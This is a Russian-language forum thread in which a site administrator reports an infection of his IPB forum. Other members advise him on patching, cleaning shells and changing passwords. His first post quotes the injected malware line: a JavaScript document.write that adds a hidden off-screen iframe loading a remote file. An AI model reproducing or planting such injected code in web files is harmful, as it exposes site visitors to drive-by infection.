Взломали! Вирус на форуме :( - Дизайн и модификация Invision Power Board

Перейти к содержимому

 

Правила раздела

Здесь обсуждаются вопросы по настройке и администрированию форумов IPB 3.x.
Пожалуйста, не оффтопьте, если зашли сюда случайно, и обратите внимание на соседние разделы.
Установка, настройка и обслуживание форумов IPB 2.x.
Оформление форумов, включая верстку скинов.
Размещение рекламы на форумах.
SEO оптимизация форума.
Техническая поддержка наших скинов и модов.

СвернутьПрикрепленные теги

вирус ipb

Страница 1 из 1

Взломали! Вирус на форуме :(

#1 Пользователь не на сайте   catalo ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 65
  • Регистрация: 01-Январь 12
  • Репутация: 1
  • IPB version:3.2.x
 

Отправлено 21 Декабрь 2012 - 13:14

Мой форум: nissanmaximaclub.ru

Заметил на форуме фреймы, содержащие посторонние сайты. Полез копать, и что я вижу!
В большинстве файлов .js в самом конце последняя строка:

;document.write('<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http://emxfji.pcanywhere.net/b9c21ce4cc46f581781cf2756477b167.sys?11"></iframe>');


Заражено более 150 файлов, причем во фрейме всречаются разные адреса.

Подскажите как убить заразу! Удаляю строку, она снова появляется(
0

#2 Пользователь не на сайте   siv1987 ответил: »

 
 
  • Advanced
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: IPB Skins Team
  • Сообщений: 8 698
  • Регистрация: 20-Март 09
  • Репутация: 2 262
  • IPB version:3.1.x
 

Отправлено 21 Декабрь 2012 - 13:19

http://ipbskins.ru/f...topic10798.html

1. Пропатчить форум
2. Почистить от вирусов и шеллов
3. Сменить пароли (админ акк на форуме, бд, можно фтп). Этот пункт следует проделать после тщательной проверки п.2
0

#3 Пользователь не на сайте   catalo ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 65
  • Регистрация: 01-Январь 12
  • Репутация: 1
  • IPB version:3.2.x
 

Отправлено 21 Декабрь 2012 - 14:22

Все вроде бы понятно, но второй пункт как выполнить?
0

#4 Пользователь не на сайте   uip ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 45
  • Регистрация: 10-Май 12
  • Репутация: 1
  • IPB version:3.4.x
 

Отправлено 21 Декабрь 2012 - 15:10

Просмотреть сообщениеcatalo 21 Декабрь 2012 - 14:22 сказал(а):

Все вроде бы понятно, но второй пункт как выполнить?

Можно так google.com/webmasters/tools/
0

#5 Пользователь не на сайте   catalo ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 65
  • Регистрация: 01-Январь 12
  • Репутация: 1
  • IPB version:3.2.x
 

Отправлено 21 Декабрь 2012 - 16:13

яндекс вебмастер не находит заражений, моюсь в гугле также будет
0

#6 Пользователь не на сайте   uip ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 45
  • Регистрация: 10-Май 12
  • Репутация: 1
  • IPB version:3.4.x
 

Отправлено 21 Декабрь 2012 - 16:38

А вы не бойтесь, там ничего страшного нету, просто попробуйте - всё покажет.
1

#7 Пользователь не на сайте   siv1987 ответил: »

 
 
  • Advanced
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: IPB Skins Team
  • Сообщений: 8 698
  • Регистрация: 20-Март 09
  • Репутация: 2 262
  • IPB version:3.1.x
 

Отправлено 21 Декабрь 2012 - 23:26

Просмотреть сообщениеcatalo сказал(а):

Все вроде бы понятно, но второй пункт как выполнить?

Можно так google.ru - поиск шеллов и вирусов на сайте
Есть еще такой скрипт revisium.com/ai/, но он в любом случае требует навыков программирования
Или обратится к специалистам
0

#8 Пользователь не на сайте   uip ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 45
  • Регистрация: 10-Май 12
  • Репутация: 1
  • IPB version:3.4.x
 

Отправлено 23 Декабрь 2012 - 12:51

Можно поинтересоваться, удалось ли решить проблему? И если да - то как?
0

#9 Пользователь не на сайте   catalo ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 65
  • Регистрация: 01-Январь 12
  • Репутация: 1
  • IPB version:3.2.x
 

Отправлено 24 Декабрь 2012 - 11:57

вычистил все файлы от вирусного кода, и еще удалил скрипты редактора TinyMCE, кажись его скрипты заражали остальные файлы
0

#10 Пользователь не на сайте   catalo ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 65
  • Регистрация: 01-Январь 12
  • Репутация: 1
  • IPB version:3.2.x
 

Отправлено 26 Декабрь 2012 - 09:36

в общем IE 9.0 выдает какие-то ошибки. видимо что-то еще накрылось. помогите платно решить проблемы!
0

#11 Пользователь не на сайте   Zero108 ответил: »

 
 
  • Advanced
  • ***
  • Смотреть галерею
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 1 562
  • Регистрация: 25-Июль 09
  • Репутация: 92
  • IPB version:4.1.x
 

Отправлено 26 Декабрь 2012 - 10:10

Наверняка вам дешевле будет один раз заплатить техподдержке 70 долларов за полгода и решить все ваши проблемы, чем обращаться к малознакомым людям, далеким от профессионализма в программировании IPB, которые могут добавить кучу своих дыр, преднамеренно или непреднамеренно - из-за незнания.

Сообщение изменено: Zero108 (26 Декабрь 2012 - 10:11)

2

Сообщить об этой теме:


Страница 1 из 1


Быстрый ответ

  

1 пользователей читают эту тему
0 зарегистрированных, 1 гостей, 0 скрытых


Контактная информация

Вопросы по работе сайта

+7 (917) 501-4765
C 10 до 20 в рабочие дни (время московское)

Техническая поддержка

Контактные данные специалистов

Дизайн форумов

IPB 3.x ¦ IPB 2.x

Бесплатные шаблоны

IPB 3.2 – 3.4 ¦ IPB 3.1 ¦ IPB 3.0 ¦ IPB 2.2 – 2.3 ¦ IPB 2.1 ¦ Клипарт
Лицензия на использование ¦ Ваша поддержка ¦ О проекте
Copyright © 2005-2016 IPBSkins.ru Team
При копировании материалов с сайта
прямая ссылка на источник обязательна